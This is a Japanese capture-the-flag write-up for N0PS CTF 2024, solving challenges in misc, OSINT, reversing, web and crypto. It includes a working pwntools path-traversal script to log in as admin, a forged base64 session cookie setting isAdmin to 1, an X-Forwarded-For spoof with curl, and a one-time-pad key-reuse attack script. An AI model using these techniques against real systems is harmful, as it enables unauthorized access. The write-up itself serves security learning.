この大会は2024/6/1 17:00(JST)~2024/6/3 5:00(JST)に開催されました。
今回もチームで参戦。結果は1781点で631チーム中70位でした。
自分で解けた問題をWriteupとして書いておきます。
Jojo is missing! (The Rescue of Jojo)
Discordに入り、#rulesチャネルでリアクションすると、いくつかチャネルが現れた。#announcementsチャネルに以下のメッセージがある。
Here is the message: 49 66 20 61 6E 79 6F 6E 65 20 72 65 61 64 73 20 69 74 2C 20 49 20 61 6D 20 4A 6F 6A 6F 2E 20 49 20 68 61 76 65 20 62 65 65 6E 20 63 61 70 74 75 72 65 64 20 62 79 20 61 20 67 72 6F 75 70 20 63 61 6C 6C 65 64 20 4A 33 4A 75 4A 34 2E 20 50 6C 65 61 73 65 20 63 6F 6D 65 20 61 6E 64 20 73 61 76 65 20 6D 65 21 0A 4E 30 50 53 7B 4A 30 4A 30 5F 31 73 5F 6D 31 53 35 31 6E 47 21 7D
CyberChefの「From Hex」でデコードすると以下のようになった。
If anyone reads it, I am Jojo. I have been captured by a group called J3JuJ4. Please come and save me!
N0PS{J0J0_1s_m1S51nG!}
N0PS{J0J0_1s_m1S51nG!}
Jojo Chat 1/2 (The Rescue of Jojo)
サーバの処理概要は以下の通り。
・connected = False
・以下繰り返し
・connectedがFalseの場合
・option: 入力
・optionが"1"の場合
・create_account()
・name: 入力
・names: "./log"配下のファイル名のリスト
・namesの中にnameがあるかnameが""の間
・name: 入力
・passwd: 入力
・"./log/{name}"にpasswdのmd5ダイジェスト(16進数)を書き込み
・optionが"2"の場合
・connected, name = connect()
・name: 入力
・names: "./log"配下のファイル名のリスト
・namesの中にnameがない間
・name: 入力
・hash_pass: "./log/{name}"の内容
・パスワードを入力し、そのmd5ダイジェスト(16進数)とhash_passが一致しているかどうかとnameを返却
・connectedがFalseの場合
・エラーメッセージを表示
・optionが"3"の場合
・終了
・connectedがTrueの場合
・option: 入力
・optionが"1"の場合
・messages = get_all_messages()
・
・messagesの各messageについて以下を実行
・message[0], message[1][20:]を表示
・optionが"2"の場合
・send_message(name)
・message: 入力
・"./log/{name}"に"{時刻} {message}\n"の形式で追記
・optionが"3"の場合
・connected = False
・optionが"admin"の場合
・admin()最初に../log/adminというユーザ名でアカウントを作成し、上書きし、ログインすれば"admin"としてログインできる。
#!/usr/bin/env python3 from pwn import * p = remote('nopsctf-c1f6cb8b41d8-jojo_chat_v1-1.chals.io', '443', ssl=True) name = '../log/admin' passwd = 'P@ssw0rd' data = p.recvuntil(b'Leave\n').decode().rstrip() print(data) print('1') p.sendline(b'1') data = p.recvuntil(b': ').decode() print(data + name) p.sendline(name.encode()) data = p.recvuntil(b': ').decode() print(data + passwd) p.sendline(passwd.encode()) for _ in range(2): data = p.recvline().decode().rstrip() print(data) name = 'admin' data = p.recvuntil(b'Leave\n').decode().rstrip() print(data) print('2') p.sendline(b'2') data = p.recvuntil(b': ').decode() print(data + name) p.sendline(name.encode()) data = p.recvuntil(b': ').decode() print(data + passwd) p.sendline(passwd.encode()) data = p.recvuntil(b'Logout\n').decode().rstrip() print(data) print('admin') p.sendline(b'admin') for _ in range(2): data = p.recvline().decode().rstrip() print(data)
実行結果は以下の通り。
[+] Opening connection to nopsctf-c1f6cb8b41d8-jojo_chat_v1-1.chals.io on port 443: Done
Hey, welcome to jojo chat.
Choose an option:
1) Create an account
2) Login
3) Leave
1
Enter your username: ../log/admin
Enter a password: P@ssw0rd
Account was successfully created!
Choose an option:
1) Create an account
2) Login
3) Leave
2
Username: admin
Password: P@ssw0rd
Choose an option:
1) See messages
2) Send a message
3) Logout
admin
Here is admin section. Still to develop.
N0PS{pY7h0n_p4Th_7r4v3r54l}
[*] Closed connection to nopsctf-c1f6cb8b41d8-jojo_chat_v1-1.chals.io port 443
N0PS{pY7h0n_p4Th_7r4v3r54l}
Morse Me (Misc)
CyberChefで以下の順にデコードする。
・From Morse Code ・From Hex
この結果以下のようになる。
Congratz! The flag is: N0PS{M0rS3_D3c0d3R_Pr0}
N0PS{M0rS3_D3c0d3R_Pr0}
Where Am I 1/3 (OSINT)
画像検索すると、以下のページなどが見つかる。
https://www.dpreview.com/challenges/Entry.aspx?ID=1233463&View=Results&Rows=4
この場所の名前は「Praça do Comércio」
N0PS{praca-do-comercio}
Just Read (Reverse)
Ghidraでデコンパイルする。
undefined8 main(undefined8 param_1,long param_2) { char cVar1; char cVar2; char cVar3; char cVar4; char cVar5; char cVar6; char cVar7; char cVar8; char cVar9; char cVar10; char cVar11; char cVar12; char cVar13; char cVar14; char cVar15; char cVar16; char cVar17; char cVar18; char cVar19; char cVar20; char cVar21; char cVar22; char cVar23; char *__s; size_t sVar24; __s = *(char **)(param_2 + 8); cVar1 = *__s; cVar2 = __s[1]; cVar3 = __s[2]; cVar4 = __s[3]; cVar5 = __s[4]; cVar6 = __s[5]; cVar7 = __s[6]; cVar8 = __s[7]; cVar9 = __s[8]; cVar10 = __s[9]; cVar11 = __s[10]; cVar12 = __s[0xb]; cVar13 = __s[0xc]; cVar14 = __s[0xd]; cVar15 = __s[0xe]; cVar16 = __s[0xf]; cVar17 = __s[0x10]; cVar18 = __s[0x11]; cVar19 = __s[0x12]; cVar20 = __s[0x13]; cVar21 = __s[0x14]; cVar22 = __s[0x15]; cVar23 = __s[0x16]; sVar24 = strlen(__s); if (sVar24 == 0x17 && ((((((((((((((((((((((cVar2 == '0' && cVar1 == 'N') && cVar3 == 'P') && cVar4 == 'S') && cVar5 == '{') && cVar6 == 'c') && cVar7 == 'H') && cVar8 == '4') && cVar9 == 'r') && cVar10 == '_') && cVar11 == '1') && cVar12 == 's') && cVar13 == '_') && cVar14 == '8') && cVar15 == 'b') && cVar16 == 'i') && cVar17 == 't') && cVar18 == 's') && cVar19 == '_') && cVar20 == '1') && cVar21 == 'N') && cVar22 == 't') && cVar23 == '}')) { puts("Well done, you can validate with this flag!"); } else { puts("Wrong flag!"); } return 0; }
条件を満たすよう配列のインデックスを見て、比較している文字を並べ替える。
N0PS{cH4r_1s_8bits_1Nt}
Reverse Me (Reverse)
バイナリエディタで見ると、逆順にするとELFファイルになりそう。逆順でファイルを保存してみる。
#!/usr/bin/env python3 with open('img.jpg', 'rb') as f: data = f.read() with open('img.elf', 'wb') as f: f.write(data[::-1])
この実行ファイルをGhidraでデコンパイルする。
void FUN_001011e0(int param_1,long param_2) { char cVar1; ulong uVar2; ulong uVar3; ulong uVar4; ulong uVar5; ulong uVar6; char *__s; long lVar7; undefined1 *puVar8; undefined *puVar9; long in_FS_OFFSET; byte bVar10; undefined local_a0 [8]; undefined local_98 [32]; undefined local_78 [56]; undefined8 local_40; bVar10 = 0; local_40 = *(undefined8 *)(in_FS_OFFSET + 0x28); if (param_1 == 5) { uVar2 = strtol(*(char **)(param_2 + 8),(char **)0x0,10); uVar3 = strtol(*(char **)(param_2 + 0x10),(char **)0x0,10); uVar4 = strtol(*(char **)(param_2 + 0x18),(char **)0x0,10); uVar5 = strtol(*(char **)(param_2 + 0x20),(char **)0x0,10); cVar1 = FUN_00101460(uVar2 & 0xffffffff,uVar3 & 0xffffffff,uVar4 & 0xffffffff,uVar5 & 0xffffffff ); if (cVar1 != '\0') { uVar6 = (ulong)(uint)-(int)uVar5; if (0 < (int)uVar5) { uVar6 = uVar5 & 0xffffffff; } uVar5 = (ulong)(uint)-(int)uVar4; if (0 < (int)uVar4) { uVar5 = uVar4 & 0xffffffff; } uVar4 = (ulong)(uint)-(int)uVar3; if (0 < (int)uVar3) { uVar4 = uVar3 & 0xffffffff; } uVar3 = (ulong)(uint)-(int)uVar2; if (0 < (int)uVar2) { uVar3 = uVar2 & 0xffffffff; } __sprintf_chk(local_78,1,0x2a,"%d%d%d%d",uVar3,uVar4,uVar5,uVar6); puVar8 = &DAT_00102016; puVar9 = local_98; for (lVar7 = 0x19; lVar7 != 0; lVar7 = lVar7 + -1) { *puVar9 = *puVar8; puVar8 = puVar8 + (ulong)bVar10 * -2 + 1; puVar9 = puVar9 + (ulong)bVar10 * -2 + 1; } __s = (char *)FUN_00101a50(local_98,0x18,local_78,local_a0); puts(__s); free(__s); /* WARNING: Subroutine does not return */ exit(0); } } /* WARNING: Subroutine does not return */ exit(-1); } bool FUN_00101460(int param_1,int param_2,int param_3,int param_4) { bool bVar1; bVar1 = false; if (param_1 * -10 + param_2 * 4 + param_3 + param_4 * 3 != 0x1c) { return false; } if ((param_2 * 9 + param_1 * -8 + param_3 * 6 + param_4 * -2 == 0x48) && (param_2 * -3 + param_1 * -2 + param_3 * -8 + param_4 == 0x1d)) { bVar1 = param_2 * 7 + param_1 * 5 + param_3 + param_4 * -6 == 0x58; } return bVar1; }
FUN_00101460関数内の条件を満たすよう方程式を解く。
#!/usr/bin/env python3 import sympy x = sympy.Symbol('x') y = sympy.Symbol('y') z = sympy.Symbol('z') w = sympy.Symbol('w') eq1 = - 10*x + 4*y + z + 3*w - 0x1c eq2 = - 8*x + 9*y + 6*z - 2*w - 0x48 eq3 = - 2*x - 3*y - 8*z + w - 0x1d eq4 = 5*x + 7*y + z - 6*w - 0x58 sol = sympy.solve([eq1, eq2, eq3, eq4]) print(sol)
実行結果は以下の通り。
{w: -9, x: -3, y: 8, z: -7}これを引数に指定し、実行する。
$ ./img.elf -3 8 -7 -9 N0PS{r1CKUNr0111N6}
N0PS{r1CKUNr0111N6}
Web Cook (Web)
Usernameに"nora"と入力し、Submitすると、クッキーのsessionに以下が設定される。
eyJ1c2VybmFtZSI6Im5vcmEiLCJpc0FkbWluIjowfQ%3D%3D
||>
>|sh|
$ echo eyJ1c2VybmFtZSI6Im5vcmEiLCJpc0FkbWluIjowfQ== | base64 -d
{"username":"nora","isAdmin":0}{"username":"nora","isAdmin":1} をbase64エンコードする。
$ echo -n '{"username":"nora","isAdmin":1}' | base64 eyJ1c2VybmFtZSI6Im5vcmEiLCJpc0FkbWluIjoxfQ==
クッキーのsessionに以下を設定する。
eyJ1c2VybmFtZSI6Im5vcmEiLCJpc0FkbWluIjoxfQ%3D%3D
リロードすると、フラグが表示された。
N0PS{y0u_Kn0W_H0w_t0_c00K_n0W}
Outsiders (Web)
外側からアクセスを拒否しているような説明になっているので、X-Forwarded-Forヘッダで偽装する。
$ curl https://nopsctf-outsiders.chals.io/ -H "X-Forwarded-For: 127.0.0.1" <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@300..700&display=swap" rel="stylesheet"> <title>Outsiders</title> <style> body { background: #000; font-family: 'Fira Code', monospace; font-optical-sizing: auto; padding: 2em; display: flex; align-items: center; justify-content: center; height: 50vh; } .text-slider { animation: slide 30s infinite; color: #aaa; } @media (prefers-color-scheme: dark) { body { -webkit-filter: contrast(2); filter: brightness(100%); } } @keyframes slide { 0% { transform: translateX(0%); } 50% { transform: translateX(10vw); } 100% { transform: translateX(0%); } } </style> </head> <body> <div class="text-slider"> <h2>I can give the flag to myself, right ? N0PS{XF0rw4Rd3D}</h2> </div> </body> </html>
N0PS{XF0rw4Rd3D}
Crypto Rookie (Crypto)
レールフェンス暗号と推測し、https://www.dcode.fr/rail-fence-cipherで復号する。
SOMETIMESAFLAGISBETTERTHANACOOKIE
N0PS{SOMETIMESAFLAGISBETTERTHANACOOKIE}
Broken OTP (Crypto)
サーバの処理概要は以下の通り。
・e: eval関数 ・g: getattr関数 ・b: bytearrayクラス ・i: input関数 ・t = ['74696d65', '72616e646f6d', '5f5f696d706f72745f5f', '726f756e64', '73656564'] ・d: hexデコード関数 ・fb: builtinsモジュール ・_i: __import__関数 ・s: UNIXTIME + secretの数値化 ・r: random.seed ・r(s()) ・choice: 入力 ・choiceが"1"の場合 ・message: 入力 ・c(message.encode())を表示 ・k: messageと同じ鍵の長さのランダム文字列 ・messageとkのXORの16進数表記文字列 ・choiceが"2"の場合 ・c(secret.encode())を表示
$ sc nopsctf-broken-otp.chals.io (connected to nopsctf-broken-otp.chals.io:443 and reading from stdin) Welcome to our encryption service. Choose between: 1. Encrypt your message. 2. Get the encrypted secret. Enter your choice: 2 The secret is: 4f864a5e0c17b951af37cc3ce8c596d0df57e4
同時にアクセスすれば、同じXOR鍵で暗号化される。一方を1.で19バイトの文字列を入力し、平文と暗号文のペアを入手する。もう一方の2.でsecretの暗号化を入手できれば、復号できる。
$ sc nopsctf-broken-otp.chals.io (connected to nopsctf-broken-otp.chals.io:443 and reading from stdin) Welcome to our encryption service. Choose between: 1. Encrypt your message. 2. Get the encrypted secret. Enter your choice: 1 Please enter the message you wish to encrypt: aaaaaaaaaaaaaaaaaaa Your encrypted message is: 613e63d12e83313ea6cfe039d211030b30dba8 $ sc nopsctf-broken-otp.chals.io (connected to nopsctf-broken-otp.chals.io:443 and reading from stdin) Welcome to our encryption service. Choose between: 1. Encrypt your message. 2. Get the encrypted secret. Enter your choice: 2 The secret is: 4e6f52e334d2240f98c5b201ec02511f6489b4
#!/usr/bin/env python3 from Crypto.Util.strxor import strxor pt = 'aaaaaaaaaaaaaaaaaaa' ct = bytes.fromhex('613e63d12e83313ea6cfe039d211030b30dba8') secret_enc = bytes.fromhex('4e6f52e334d2240f98c5b201ec02511f6489b4') key = strxor(pt.encode(), ct) secret = strxor(secret_enc, key).decode() print(secret)
この実行結果、secretとしてフラグが表示された。
N0PS{0tP_k3Y_r3u53}